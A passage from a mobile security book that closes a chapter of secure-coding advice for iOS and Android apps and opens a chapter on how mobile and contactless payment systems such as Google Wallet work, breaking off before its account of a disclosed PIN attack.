a SQLite database stored on the file system, and it is protected by an OS service that 
determines which keychain items each process or app can access. Keychain access APIs 
control access via access groups that allow keychain items to be shared among apps from 
the same developer by checking a prefix allocated to them through the iOS Developer 
Program, enforced through code signing and provisioning profiles. See the link at the 
end of this chapter to Apple’s iOS security whitepaper for more info on using keychain.
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Specialized tools exist that can read data from iOS 4 and 5 keychains, given physical access to the 
device. Consider using the following solution involving password-based encryption.

Android does not provide a secure storage facility like iOS’s keychain. The default 
internal storage API makes saved data private to your application. The Android KeyStore 
is designed to store cryptographic keys, but it has no inherent protection mechanism 
such as a password. Instead, an Android application needs to provide its own mechanism 
to protect sensitive information if file system permissions are not sufficient. The 
application could generate an AES key using Password-Based Key Derivation Function 2 
(PBKDF2), which is based on a password that the user enters when the application 
starts. The encryption key is then used to encrypt/decrypt the sensitive data before it is 
stored on the file system. Android provides the javax.crypto.spec.PBEKeySpec 
and javax.crypto.SecretKeyFactory classes to facilitate the generation of the 
password-based encryption key.

Mobile Databases We put databases a bit above the file system on the strength scale 
because you can encrypt the database with a single secret that compactly unifies 
protection of all app data (as opposed to having to delegate protection to the OS and/or 
having it scattered all over the environment in keychains, in files, and so on). There are a 
few third-party extensions to SQLite that provide database encryption, including SEE, 
SQLCipher, and CEROD.

Of course, databases are not without vulnerabilities either. Plain ol’ storing of sensitive 
data in the database unprotected is probably about as commonly done as it is on file 
systems or any other repository. Also watch out for “indirect” sensitive data storage. We 
once reviewed a mobile app that stored images in its SQLite database, which initially 
appeared to be harmless feature of the user interface; upon closer inspection, however, 
we determined that the type and pattern of images stored in the database revealed clues 
as to the user’s identity and behavioral patterns (purchasing, location, and so on).

Also, the use of client-side relational databases obviously introduces the possibility 
of SQL Injection attacks. SQLite databases are commonly used on mobile clients because 
the Android API natively supports it. SQL Injection attacks originating via Android 
intents or other input, such as network traffic, can easily become problematic. Fortunately, 
the security guidance for preventing SQL Injection on the server works on the mobile 
device: use parameterized queries, not string concatenation, for constructing your 
dynamic SQL queries.

File System Protections Apple’s iOS provides a few security protections around the file 
system, including default encryption of files created on the data partition (thus they are 
protected by the device passcode if one is set), centrally erasable metadata, and 
cryptographic linking to a specific device (that is, files moved from one device to another 
are inaccessible without the key). Most of these features are enabled by default in iOS 5 
and above, so no specific coding is required to gain their benefits. More information is 
available in Apple’s iOS security whitepaper.

On Android, files stored in internal storage are, by default, private to a specific 
application unless an application chooses to shoot itself in the foot by changing the 
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default Linux file permissions. Also, avoid using the MODE_WORLD_WRITEABLE or 
MODE_WORLD_READABLE modes for IPC files to prevent other apps from accessing your 
app’s files.

In contrast to internal storage on Android, files stored in external storage are publicly 
accessible to all applications. This is so important, we’ll reiterate it!

Files stored in external storage on Android (for example, SD cards) are not secured and are accessible 
to all to applications!

Android 3.0 and later provides full file-system encryption, so all user data can 
be encrypted in the kernel using the dmcrypt implementation. For more details 
on file-system encryption see source.android.com/tech/encryption/android_
crypto_implementation.html.

Authenticating to Mobile Services
Authentication and authorization are more complicated for a mobile application than for 
a traditional web application. Several mobile applications may want to share the same 
identity (Single Sign-On), but two applications from the same company may want 
different identities because one application is for customers and the other is for employees. 
And then there could be one application that needs multiple identities (a mashup).

Authorization and Authentication Protocols The protocols for solving authentication and 
authorization requirements are the same ones for traditional web applications and Rich 
Internet Applications, but many application developers haven’t had to use them. The 
trick is knowing which protocol to use based on the problem you’re trying to solve. 
Chapter 6 has already covered the details about authentication and authorization of the 
mobile client with mobile services. The section “Common Authentication and 
Authorization Frameworks” in that chapter covers several methods for using OAuth 
and SAML.

Always Generate Your Own Identifiers In the category of “Let no good deed go unpunished,” 
to improve the security and management of mobile devices, some applications want to 
associate a user with a mobile device; that’s a good practice to determine if a device is 
authorized to access some resource. However, what happens if the application developer 
decides that the identifier to use is your physical device ID (like the IMEI for your 
Android device), the MAC-address, or perhaps your Mobile Directory Number (the 
phone number, or MDN)? Using identifiers that are immutable with respect to the 
application will lead to problems if the device is stolen or after it is reassigned. Also, such 
reused identifiers rarely possess adequate secrecy, entropy, or other security-enhancing 
properties in the real world. For example, how many people could look up the typical 
user’s mobile phone number from the user’s public Facebook page or a Google search? 
Using such an identifier is probably not a good idea, especially for something important. 
An application needing a unique identifier should always create its own unique ID and 
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store it with the application configuration data, using one of the secure storage methods 
discussed earlier if appropriate.

Implement a Timeout for Cached Credentials Native applications that cache user credentials 
or bearer tokens for mobile services should invalidate the cached credentials and bearer 
tokens if the application is inactive. The timeout period should be measured in 
minutes.

Secure Communications
Mobile applications can take advantage of the tightly coupled relationship between the 
client and the mobile services to improve security over the loosely coupled browser 
interface for a traditional web application. By taking advantage of this tight coupling, the 
resulting mobile application can be more secure than its web application counterpart.

Use Only SSL/TLS Mobile applications have lower bandwidth requirements than 
traditional web applications, so they are good candidates for using only SSL/TLS for 
communication. Using only a secure protocol prevents SSL stripping attacks (see 
thoughtcrime.org/software/sslstrip/).

Validate Server Certificates A mobile client must implement the client-side of an SSL/TLS 
connection to the mobile services. Do not disable certificate verification and validation 
by defining a custom TrustManager or a HostNameVerifier that disables hostname 
validation.

Use Certificate Pinning for Validating Certificates Use Certificate Pinning to mitigate the risk 
of compromised public certificate authority (CA) private keys (such as the notorious 
Comodo and DigiNotar breaches). Certificate Pinning bypasses the normal CA validation 
chain and, instead, uses a unique certificate that you provide (because your mobile app 
should only be connecting to your services, it shouldn’t need to worry about public CA 
certs). On the server, you create your own signing certificate and use it to create the 
certificates for your mobile services. The signing certificate is kept offline on the server-
side, and the signed certificates are distributed with the mobile application.

Android 4.2 provides support for Certificate Pinning, but for versions prior to that, you’ll have to write 
your own implementation.

WebView Interaction
Many native mobile apps implement WebView on Android and UIWebView on iOS to 
view web content within the app. A few potential problems can arise from careless use 
of WebView.

WebView Cache The WebView cache may contain sensitive web form and authentication 
data from web pages visited through native mobile clients that implement it. For example, 
if the user logs into a banking website via the native client and chooses to save his or her 
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credentials, then the credentials will be stored in this cache. A malicious user could use 
this data to hijack someone else’s account tied to this bank.

Additionally, the WebView cookies database contains the cookie names, values, and 
domains associated with visited websites. A malicious user could also use this information 
to hijack active sessions associated with issuing bank websites and merchant websites, 
since this database contains session identifiers.

To prevent this from happening, on the server-side, we recommend disabling the 
autocomplete attribute on all sensitive form inputs, such as inputs for government-
issued identification numbers, credit card numbers, and addresses. Setting the no-
cache HTTP header on the server will also help. On the client-side, the WebView object 
can be configured to never save authentication data and form data. You can also use the 
clearCache() method to delete any files stored locally on the device.

On Android, you need to delete files from the cache directory explicitly (our testing 
of clearCache() doesn’t clear all of the requests and responses cached by WebView). 
You should also disable caching of authentication information by setting WebSettings
.setCacheMode(false).

To address WebView cookie caching, on the server-side, set up a reasonable session 
timeout to mitigate the risk of session hijacking. Cookies should never be configured to 
persist for long periods of time. Additionally, never store personal or sensitive data in a 
cookie. On the client-side, periodically clear cookies via the CookieManager or the 
NSHTTPCookieStorage classes. You could disable the use of cookies altogether within 
the WebView object, but that would break common web functionally and isn’t really 
practical.

On iOS, use the NSURLCache class to remove all cached responses. You can also use 
it to set an empty cache or remove the cache for a particular request. Search for “uiwebview 
cache” for more information.

WebView and JavaScript Bridges We discussed several published issues with JavaScript 
bridges and WebView in Chapter 6. This material is a reiteration of that advice.

On Android, protect against the reflection-based attacks by targeting your app to API 
Level 17 and above in the future. Because API Level 17 is relatively new and not widely 
supported on devices, we would recommend the following in the meantime:

• Only use addJavascriptInterface if the application truly loads trusted 
content into the WebView, so avoid loading anything acquired over the network 
or via an IPC mechanism into a WebView exposing a JavaScript interface.

• Develop a custom JavaScript bridge using the shouldOverrideUrlLoading 
function. Although, developers still need to think carefully about what type of 
functionality is exposed via this bridge.

• Reconsider why a bridge between JavaScript and Java is a necessity for this 
Android application and remove the bridge if feasible.

Also, any app that checks the newly loaded URL for a custom URI scheme and 
responds accordingly should be careful about what functionality is exposed via this 
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custom URI scheme, and use input validation and output encoding to prevent common 
injection attacks.

On iOS, the same countermeasures for Android apply, such as strict input validation 
and output encoding of user input, while developing a custom URI scheme defined for 
a local WebView component using a UIWebViewDelegate. Again, be very wary of 
code that performs reflection using tainted input.

Preventing Information Leakage
Sensitive data leakage is one of the biggest risks on mobile because all data is inherently 
at greater risk while on a mobile device. Unfortunately, many mechanisms are built in to 
mobile platforms to squirrel data away in various nooks, as we noted in Chapter 1 and 
elsewhere in this book. Here’s a list of the common problem areas and how to avoid 
them.

Clipboard Modern versions of Android and iOS support copying and pasting of 
information across programs. Clearly, this presents a risk if the information is sensitive. 
Access to the clipboard is fairly unrestricted, so you should take explicit precautions to 
avoid information leakage. On Android, you can call setLongClickable(false) on 
an EditText or TextView to prevent someone from being able to copy from fields in your 
application. On iOS, you can subclass UITextView to disable copy/paste operations.

Logs As we noted in Chapter 1, the mobile ecosystem engages in pervasive logging of 
data—cellular usage, battery life, screen activity, you name it—all to provide for 
exhaustive analysis and (ostensibly) to improve the mobile user experience. The dark 
side of all this logging is that your app’s data can easily get caught up in this rather broad 
net, leaving it vulnerable to prying eyes. Here are some places to watch out for:

• System and debug logs such as the Android system logs or the device driver 
dmesg buffer. When debugging mode is on, any Android application with 
the READ_LOGS permission can view the system log. On iOS, disable NSLog 
statements.

• X:Y coordinate buffers can record user entry of sensitive app data like PINs or 
passwords.

Check your app and make sure it is not logging sensitive information to these 
repositories, or to others not mentioned here. Unfortunately, we don’t know of any 
comprehensive listing of all the facilities used for logging on the major mobile OSes. We 
recommend conducting an analysis of your app and noting key outputs (events, files, 
APIs) and investigating what data might flow through them. We’ve conducted a few such 
“mobile app data leakage” analyses and have been quite surprised with what turns up.

Additional iOS Platform-Specifi c Guidelines
Chapter 3 contains a more in-depth analysis of iOS security concerns. This section 
summarizes the information in that chapter from the developer’s perspective.
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Traditional C Application Secure Coding Guidelines A native iOS application is written in 
Objective-C. Objective-C is based on the C programming language, so it inherits all of the 
benefits and security problems of C, such as the ability to write code that is vulnerable to 
buffer overflows and memory corruption issues. There are a number of great secure-coding 
guidelines for Objective-C, but the best place to start is with Apple’s Secure Coding Guide 
(developer.apple.com/library/mac/documentation/security/conceptual/
SecureCodingGuide/SecureCodingGuide.pdf).

Keyboard Cache iOS caches keystrokes to provide autocorrect and form-completion 
features, and the cache’s contents are not accessible by the app. You have to disable 
autocorrect within your app for any sensitive information entered by using the 
UITextField class and setting the autocorrectionType property to UI
TextAutocorrectionNo to disable caching. Apple MDM customers can add an 
enterprise policy to clear the keyboard dictionary at regular intervals, and end-users can 
manually do this by going to Settings | General | Reset | Reset Keyboard Dictionary.

Enable Full ASLR with PIE We’ve noted many security features provided by mobile 
platforms in this book, including Address Space Layout Randomization (ASLR). Most of 
the time, these features are enabled by default. But sometimes, the developer must 
explicitly code for them to achieve maximum protection.

For apps that will run on iOS 4.3 and greater, the position-independent executable 
(PIE) should be set when compiling on the command line with option –fPIE.

Custom URI Scheme Guidelines If your application uses a Custom URI scheme to launch 
itself from the browser or another application, follow these guidelines:

 1. Use the openURL method instead of the deprecated handleOpenURL 
(developer.apple.com/library/ios/#documentation/uikit/reference/
UIApplicationDelegate_Protocol/Reference/Reference.html).

 2. Validate the sourceApplication parameter to restrict access to the custom 
URI to a specifi c set of applications by validating the sender’s bundle identifi er.

 3. Validate the URL parameter after syntactically validating it; assume it contains 
malicious input.

Protect the Stack If you are using GCC to compile your iOS application, enable Stack 
Smashing Protection (SSP) using -fstack-protector-all. SSP detects buffer 
overflow attacks and other stack corruption. The Apple LLVM compiler automatically 
enables SSP.

Enable Automatic Reference Counting Automatic Reference Counting (ARC) provides 
automatic memory management for Objective-C objects and blocks. Having ARC means 
that the application developer doesn’t explicitly code retains and releases, thus reducing 
the chance of security vulnerabilities caused by releasing memory more than once, use 
of memory after it’s been freed, and other C memory-allocation problems. Converting an 
existing application to use ARC requires more than enabling ARC in your project. You 
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may have to change some of the source code in your application and some of the libraries 
that your application uses.

Disable Caching of Application Screenshots iOS captures the currently running application 
screen when it is suspended (such as when the user presses the Home button, presses the 
Sleep/Wake button, or the system launches another app) in order to provide screen 
transition animations. If your app happens to be displaying sensitive data when this occurs, 
it could be stored in the screen cache. Preventing this requires some understanding of how 
multitasking on iOS 4 and later works. To summarize, when your code returns from the 
applicationDidEnterBackground: method, your app moves to the suspended state 
shortly afterward. If any views in your interface contain sensitive information, you should 
hide or modify those views before the applicationDidEnterBackground: method returns. 
For example, specify a splash screen to display on entering the background. Search on 
“App States and Multitasking” in the iOS Developer Library at developer.apple.com for 
more information.

Android Platform-Specifi c Guidelines
Chapter 4 contains a more in-depth analysis of Android security concerns. This section 
summarizes the information in that chapter from the developer’s perspective.

Traditional C++/Java Application Secure Coding Guidelines A native Android application can 
be written in either C++ or Java. Google recommends writing applications in Java rather 
than C++, and we agree with that recommendation from a security point of view. 
Regardless of language choice, it’s important to follow secure-coding guidelines for the 
language you choose: C/C++ or Java. Fortunately, there is a wealth of great books and 
articles about secure coding in these languages.

Ensure ASLR Is Enabled As with iOS, modern versions of Android support ASLR. 
Enabling ASLR requires that native code languages (C and C++) be compiled and 
linked with –fpie to enable PIE code. The linker also needs Read-only Allocations 
and Immediate Binding flags set as well (-Wl,-z,relro -Wl,-z,now). In the 
Android NDK 8+, these options are the default. Developers using earlier versions of 
the NDK can update build scripts to enable ASLR.

Secure Intent Usage Guidelines Android Intents are an asynchronous signaling system for 
communication between components: applications and the OS. From a security point of 
view, intents provide an excellent vector for attack. Here are some recommendations to 
mitigate against intent abuse:

• Public components should not trust data received from intents.

• Perform input validation on all data received from intents.

• Whenever possible one should always use explicit intents.

• Explicitly set android.exported for all components with intent fi lters.

• Create a custom signature-protection-level permission to control access to 
implicit intents.
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• Use a permission to limit receivers of broadcast intents.

• Do not include sensitive data in broadcast intents.

Secure NFC Guidelines The Near Field Communication (NFC) capabilities in mobile 
devices require specific handling when used by an application:

• Do not trust data received from NFC tags; perform input validation on all data 
received from NFC tags.

• Write-protect a tag before it is used to prevent it from being overwritten.

Testing to Make Sure
Last, but not least, and this hopefully goes without saying—every setting we just 
described (plus any custom ones you add!) should have a corresponding test case to 
ensure that it’s properly implemented in the app’s final release. Consider multiple testing 
approaches, including dynamic and static, to ensure proper coverage.

For Further Reading
We recognize that no one resource could possibly hope to comprehensively cover 
everything about such a dynamic field like mobile development security, so we’ve listed 
some of our favorite online resources here for your further reading:

Resource Link

42+ secure mobile 
development best 
practices

viaforensics.com

Apple’s Secure 
Coding Guide

developer.apple.com/library/mac/
documentation/security/conceptual/
SecureCodingGuide/SecureCodingGuide.pdf

Android Security 
Overview

source.android.com/tech/security/

Android Security 
Best Practices for 
Developers

developer.android.com/training/articles/security-tips.html

NIST SP 800-124 
“Guidelines for 
Managing and 
Securing Mobile 
Devices in the 
Enterprise”

csrc.nist.gov/publications/nistpubs/800-124/SP800-124.pdf

iOS Developer 
Library

developer.apple.com
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SUMMARY
One of the most important players in the mobile ecosystem is the mobile application 
developer. In this chapter, we looked at security in the mobile development lifecycle 
from various perspectives and outlined ways to design and build more secure apps.

In the first section, we briefly looked at mobile Threat Modeling and how developers 
can benefit from understanding security vulnerabilities during the application’s design 
phase, early in the development process. Some of the key takeaways from this section 
included the following:

• Understand the application’s assets. They answer the question what are most 
critical data and capabilities that the application must protect.

• Derive threats based on the assets and use cases/scenarios. Threats defi ne who 
can attack the assets.

• Enumerate attack surfaces and potential attacks to answer how threats can 
attack those assets.

• Prioritize the resulting potential vulnerabilities by risk.

• Design the security controls required to protect the assets.

• Use the potential vulnerabilities to drive downstream behavior in the 
development process.

We also examined proactive security guidance for mobile app developers. Much of 
this guidance is triggered from the Threat Model and the types of data and scenarios 
within which the mobile app is used. We also offered some tactical do’s and don’ts, as 
well as platform-specific guidance for iOS and Android.

We hope this chapter has been useful to those interested in developing more secure 
mobile apps!

08-ch08.indd   233 6/14/2013   2:22:01 PM



08-ch08.indd   234 6/14/2013   2:22:01 PM



235

9

Mobile 

Payments

09-ch09.indd   235 6/19/2013   1:13:36 AM



236 Hacking Exposed: Mobile Security Secrets & Solutions 

Over the past several years mobile payments, which have seen some success 
worldwide, have finally started to catch on in the United States. The wide 
adoption of smartphones has helped fuel the adoption of mobile payment 

solutions, so now there are several competitors vying for a spot on your device (and a 
piece of the payment transaction pie). As with any sort of application that deals with 
financial transactions, mobile payment applications have gotten a lot of scrutiny, both 
from consumers looking to protect themselves and security researchers looking to poke 
holes in them. Not surprisingly, there have been several high-profile attacks against 
payment applications that have gotten quite a bit of attention in the media. Mobile 
payments have come a long way in the past 15 years, so in this chapter, we’ll take a look 
at where the technology is currently, where we think it’s going, and then dive in to see 
how secure these mobile payment solutions really are.

CURRENT GENERATION
Say “mobile payments” and a number of different scenarios come to mind. A multitude 
of mobile applications exist, ranging from the more traditional mobile banking 
applications, to NFC-based or barcode-based mobile payment applications used by 
consumers to purchase goods from merchants, to mobile applications used by merchants 
that accept payments via old-school magnetic stripe cards from consumers. Or mobile 
payments could refer to premium-rated SMS messages, which provide the user with 
services, or virtual goods, within a mobile application via SMS (for example, digital 
songs or items in a game). Users are then billed later via their normal telephone bill. We 
will not cover every type of application that falls under this wide category within this 
chapter, but we will highlight some of the applications that are representative of mobile 
payments trends and discuss relevant security implications.

Banks ranging in size from small credit unions to multinational banks have developed 
mobile applications that allow their customers to perform all the normal banking 
transactions using their phone, such as viewing their account balances or transferring 
money between internal or external accounts (mobile transfers). Many of these 
applications are simply web applications designed to be displayed within the mobile 
browser or within a WebView inside of a native mobile application (see Chapters 6 and 8 
for more on WebView) and, therefore, often share the same back-end components as the 
bank web application that clients use via their desktop computer. The vulnerabilities that 
we see in a mobile banking application are often the same types of vulnerabilities that we 
see in the bank’s web applications. But with mobile, you also need to consider the device 
theft scenario in which sensitive data may be stored on the device improperly. If the 
victim’s banking credentials are stored on the device, a thief may be able to make banking 
transfers on behalf of the victim.

Contactless payment systems have also started appearing in the United States. 
Released in late 2011, Google Wallet is a notable example of a mobile payment system 
based on NFC (Near Field Communication) technology. (We’ll explore how transactions 
occur over NFC and some of the publicly disclosed vulnerabilities in this system later in 
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this chapter.) In its latest incarnation, Google Wallet supports all major credit cards (Visa, 
MasterCard, American Express, and Discover), which are stored in the cloud, but a 
“virtual” MasterCard account number is actually sent to the contactless POS terminal via 
NFC and then Google charges the selected credit card, as shown in Figure 9-1. Another 
noteworthy mobile payment system based on NFC technology is Isis, which is a joint 
venture among Verizon, AT&T, and T-Mobile in collaboration with a number of major 
banks. Isis started a pilot program in two major cities in the fall of 2012. The lack of 
ubiquitous contactless POS terminals at stores may hinder rapid mainstream adoption of 
both the Isis Mobile Wallet and the Google Wallet, but the universal contactless smartcard 
reader symbol is becoming a common sight in more locations.

Yet another contender in the mobile payments space is MCX, which stands for the 
Merchant Customer Exchange. MCX is a consortium of merchants, including some large 
players like Wal-Mart, 7-Eleven, and Target, who are coming together to reportedly 
develop a mobile payments system based on QR codes (a type of barcode) as opposed to 
NFC technology because most merchants already commonly deploy barcode technology. 
In hopes of reducing transaction costs, MCX is seeking to develop a system for merchants 
that allows them to avoid paying traditional transaction fees to VISA and MasterCard by 
using ACH transactions instead.

Figure 9-1 Google Wallet utilizes a “virtual” MasterCard in all contactless transactions.
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A number of mobile applications also accept magnetic stripe cards via an external 
card reader plugged into the mobile device. Square is one notable example that provides 
merchants with a free card reader that plugs into the audio jack of iOS and Android 
devices. One of Square’s competitors, VeriFone, and its former CEO, Doug Bergeron, 
made an allegation that Square’s product could be easily hacked in an “open letter” 
because “Square’s hardware is poorly constructed and lacks all ability to encrypt 
consumers’ data, creating a window for criminals to turn the device into a skimming 
machine in a matter of minutes.” VeriFone created a sample skimming application and a 
video demo to back up its claims against the security of Square. We explore the validity 
of these statements later in the chapter. VeriFone also develops POS hardware that you 
can use in junction with mobile devices, along with developing POS hardware and 
software solutions. As the mobile payments ecosystem continues to expand, seeing 
which applications become popular should be fascinating.

Now that we’ve covered the current field, let’s first look at how contactless smartcard 
payment systems work. We’ll follow that up with specific attacks and countermeasures 
for some of the existing players.

CONTACTLESS SMARTCARD PAYMENTS
The first contactless payment cards were released in the United States in 2005. These 
cards allow a consumer to “tap” his or her card to a contactless POS terminal to make a 
payment, instead of swiping the card in a magnetic stripe reader (like a traditional credit 
card). In 2011, Google released Google Wallet, which took advantage of the already 
existing contactless payment infrastructure to allow mobile phones to be used in 
contactless transactions instead of using a more traditional credit card form factor. The 
technology behind mobile contactless payments is similar to contactless credit cards, 
with the primary difference being that a mobile phone allows for much greater flexibility 
and security. We’ll go through the various components that make up a contactless 
payment application like Isis Mobile Wallet or Google Wallet to see how they differ from 
contactless credit cards.

Secure Element
The Secure Element (SE) is the core of the mobile payment platform. The SE provides 
secure storage that the mobile payment application can use to store sensitive information; 
it primarily stores the payment applets that represent the contactless payment cards. A 
number of SE form factors are available for mobile devices. The first is the embedded SE, 
which is an SE that is contained within the mobile device itself. The Galaxy Nexus 
contains an embedded SE. Another SE form factor is the UICC, more commonly known 
as the SIM card. Although traditionally only available to mobile network operators, this 
form factor is now being used with the Isis Mobile Wallet. SEs can also be packaged into 
microSD cards. These microSD cards typically have their own built-in NFC radio and are 
designed for devices that do not normally support NFC.
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Regardless of form factor, all SEs are essentially Java Card smartcards (see oracle
.com/technetwork/java/javacard/overview/). Java Card is a strict subset of Java 
Standard Edition, designed to make Java Card applets portable across a variety of 
smartcards. The Java Card Runtime Environment (JCRE) provides several security 
features for Java Card applets, including an applet firewall restricting Java Card applets 
from accessing each other’s information and robust cryptographic operations such as 
AES and RSA. Payment applets, which contain the necessary information to make 
contactless transactions, are Java Card applets that run in this environment. Contactless 
payment cards function in the same way.

Most Java Cards, including SEs, are GlobalPlatform compliant. The GlobalPlatform 
association (globalplatform.org) is comprised of over 100 member organizations, 
including device manufacturers, mobile network operators, and payment card companies. 
The GlobalPlatform specifications offer a standard way to securely manage Java Card 
applets and related sensitive information. The specifications are freely available on the 
GlobalPlatform website (be warned, they are quite extensive!). In practice, what this 
means is that the owner of the SE is the only one who can directly read or write data into 
the SE. This is accomplished through the use of shared keys that are used to perform 
mutual authentication to establish a secure channel with the SE. Typically, a SE will lock 
after a number of failed attempts at mutual authentication, which makes brute forcing 
the keys unlikely.

As mentioned before, the payment applets that contain the information necessary to 
make contactless payments with mobile wallet applications are Java Card applets that 
are stored and run inside the SE. Although many applets may be installed on the SE, the 
two that are of interest to us are the Proximity Payment System Environment (PPSE) and 
the payment applets themselves. The PPSE acts as a registry of all payment applets that 
are stored in the SE. It has a standard application identifier that all compatible contactless 
payment terminals know. The PPSE’s job is to tell the contactless terminal what payment 
applets are available and their application identifiers. Because not all payment cards 
may be accepted by any particular POS terminal, this method allows the terminal to 
select which card it wants to use of the ones available.

The payment applets are actually responsible for making the contactless payment. 
They contain sensitive information that is associated with a particular payment account. 
They are also able to leverage the cryptographic capabilities of the JCRE to perform 
cryptographic operations that allow the issuing banks to securely verify transactions. 
The implementation of this verification process varies between applets and banks, but it 
can be something as simple as generating a one-time card verification value (CVV) for 
each transaction (known as a dynamic CVV, or dCVV), or it may involve generating and 
signing a cryptogram created from information about the transaction and POS 
terminal.

Finally, applets in the SE are little more than simple state machines. To communicate 
with applets on the SE, instructions are sent to the applet in the form of an application 
protocol data unit (APDU), which is a specially formatted string of bytes. There are two 
types of APDU: command (C-APDU) and response (R-APDU). 
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A C-APDU consists of the following:

Name Length (in bytes) Description

CLA 1 Class byte. Specifi es what type of command is 
being issued.

INS 1 Instruction byte. Specifi es the specifi c instruction 
being carried out, such as read data.

P1 and P2 2 (one byte each) Parameter bytes. Contain instruction-specifi c 
parameters.

LC Up to 3 bytes Contains the length (in bytes) of the following 
command data buffer. The value is zero if no 
command data is included.

Command 
Data

Variable, up to 
256 bytes

Contains information being passed to the applet. 
This information is typically encoded in a tag-
length-value (TLV) format.

Le Up to 3 bytes Contains the maximum number of response 
bytes expected.

If the amount of data that needs to be transmitted to the applet is greater than 256 
bytes, multiple C-APDUs can be chained together.

R-APDUs have a simpler structure:

Name Length (in bytes) Description

Response Data Variable, up to 
256 bytes

The response data, if any, from the applet. Will 
typically be tag-length-value (TLV) encoded.

SW1 and SW2 2 These bytes return the status of the command; 
for example, 0x90, 0x00 indicates the command 
was successfully executed.

On mobile devices, there are two ways to send APDUs to the applets on the SE. The 
first way is via the contactless interface. This interface is connected to the NFC radio and 
is how POS terminals send commands to the SE to perform payment transactions. This 
interface is not available to applications on the phone because you need to be able to 
enter the NFC field the phone itself is generating. The second interface is the contact 
interface, which, as you might imagine, is the connection between the SE and phone 
itself. Applets on the SE can distinguish between the two, which allows them to deny 
communications over either interface. When we take a deeper look at Google Wallet later 
in the chapter, you’ll see why this is an important feature.

Figure 9-2 shows an example of a (simplified) contactless payment transaction. Let’s 
take what we’ve described so far and walk through the transaction.

 1. The contactless POS sends a SELECT command to the PPSE applet.

 2. PPSE responds with a list of available payment applets.
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 3. The POS chooses a payment applet and then issues a SELECT command.

 4. The payment applet responds, letting the POS know the SELECT command was 
successfully processed.

 5. The POS sends the GET PROCESSING OPTIONS command, including 
information requested by the payment applet about the POS itself.

 6. The payment applet responds with the processing options that both it and the 
POS support.

 7. The POS sends a READ RECORD command to the payment applet.

 8. The payment applet responds with the so-called Track 1 and Track 2 data per 
ISO/IEC 7813, which includes the Payment Account Number (PAN).

 9. The POS sends the COMPUTE CRYPTOGRAPHIC CHECKSUM command to the 
payment applet, including an unpredictable value.

 10. The payment applet responds with CVC3s (MasterCard’s version of a dCVV), 
generated using dynamic data (unpredictable value and transaction counter) 
and a secret key.

Contactless POS Mobile device PPSE
NFC

Secure Element within mobile device

Payment applet

1) C-APDU (SELECT PPSE)

3) C-APDU (SELECT payment applet)

2) R-APDU (PPSE data)

4) R-APDU (Success)

6) R-APDU (Processing options)

5) C-APDU (GET PROCESSING OPTIONS)

7) C-APDU (READ RECORD)

8) R-APDU (Track 1/2 data)

10) R-APDU (Dynamic transaction data)

9) C-APDU (COMPUTE CRYPTOGRAPHIC CHECKSUM)

Figure 9-2 An example of a contactless payment transaction
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This is a simplified overview of a contactless transaction, as there are many different 
implementations in place, such as the use of static card verification codes as opposed to 
dynamic ones, or the many implementation differences between Visa and MasterCard 
payment applets. Whereas the EMV/GlobalPlatform standards define how the contactless 
POS and payment applets communicate with each other, how the payment applets 
function is defined by their issuers, who control what sort of security measures are in 
place. Now that you’ve seen what happens when a mobile device is tapped to a POS, 
let’s take a look at how the mobile device handles communicating with the SE.

Secure Element API
For an application to access the SE, it needs a way to communicate with it. Android 2.3.4 
(Gingerbread) added internal APIs for accessing embedded SEs. This addition coincided 
with the launch of Google Wallet, as Wallet needed to access the SE. From 2.3.4 to the 
initial release of Ice Cream Sandwich (4.0), this access required system-level permissions. 
This restriction was loosened a bit in Android 4.0.4 by allowing any application whose 
signature was contained in the /etc/nfcee_access.xml. Currently, this file only contains 
the signature for Google Wallet, by default, and requires root access to update (as it 
resides on the read-only system partition), preventing other applications from accessing 
the embedded SE. This SE API is very basic, allowing an application to open a channel to 
the SE and transmit APDUs in the form of byte arrays.

Although this internal API gives applications a way to access embedded SEs, it does 
not have the ability to connect to UICC or microSD SEs. Luckily, an open source project 
called Secure Element Evaluation Kit (SEEK) for Android (https://code.google.com/p/
seek-for-android/) provides a way to connect to these SE form factors. The project 
provides a SmartCard API that can be built into Android to provide support for these 
SEs, although it is not included in the main Android distribution. One thing to note is 
that even with SEEK included on a device, you still may not be able to access a UICC-
based SE. The UICC is not directly attached to the application processor, so Android 
applications must communicate with the UICC via the Radio Interface Layer (RIL), 
which provides the application processor with a means to access the UICC via the 
baseband processor. The RIL library implementation is proprietary, so unless the device 
manufacturer specifically adds the necessary AT commands (essentially old-school 
modem commands), SEEK cannot communicate with the UICC. This is not a problem for 
microSD-based SEs, however.

Whereas access control for embedded SEs was provided by a whitelist on the file 
system (/etc/nfcee_access.xml), SEEK implements the GlobalPlatform access control 
system. This system works by having an additional applet on the SE that contains a list 
of application signatures and a list of applets that the associated applications should 
have access to. The SmartCard API contains a module called the Access Control Enforcer, 
which is in charge of determining if an application should have access to the SE on the 
Android side. It does this by checking the signature of the calling application against the 
signature stored in the SE to see if the calling application has permission to communicate 
with the chosen applet. If not, communication is not allowed.
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Mobile Application
The most visible part of the mobile contactless payment platform is the application 
consumers interact with. This application is responsible for creating an association 
between payment cards and the mobile device, making multiple payment cards available 
in the wallet. A user can select which card in the wallet they want to make payments 
with. The mobile wallet applications typically contain other functionality, such as 
retrieving transaction data from the issuing banks, but as far as mobile payments 
themselves go, they should be seen as the gatekeeper protecting the payment card 
information stored in the SE.

Both Google Wallet and the Isis Mobile Wallet require the user to authenticate with a 
four-digit PIN to use the application. This adds a defense against device theft, as an 
attacker must know the user’s PIN to use the payment cards in the wallet application. 
While this protection is not foolproof (we’ll go into the details of why shortly), it improves 
on the security offered by contactless credit cards.

GOOGLE WALLET
Google Wallet’s security has been criticized by a number of security researchers since 
its release in late 2011. In this section, we cut through the hype and explore 
vulnerabilities that have been identified publicly in Google Wallet and discuss 
potential countermeasures.

PIN Storage Vulnerability
If a thief steals your traditional wallet or purse, then she or he has access to your money 
and credit cards. Your only recourse is to call your bank and cancel all of your credit 
cards. But with Google Wallet, you have to type in a PIN prior to using the application to 
make a transaction at a contactless POS terminal, as shown in Figure 9-3. You are only 
given six tries to type in your PIN correctly, so thieves can’t directly type in all 10,000 
possible PINs. This setup is arguably more secure than your leather wallet, which once 
physically obtained, effectively compromises all payment instruments inside. But can an 
attacker bypass the protection provided by the PIN?

Joshua Rubin of Zvelo, who is also known as miasma on the XDA Developers website, 
disclosed in February 2012 that it is possible to perform an offline brute-force attack 
against Google Wallet that can recover the PIN within seconds. Although this attack 
raises many concerns, a number of caveats are worth pointing out. Here are the steps 
that an attacker needs to take to exploit this vulnerability to fraudulently use the Google 
Wallet to purchase goods in person.

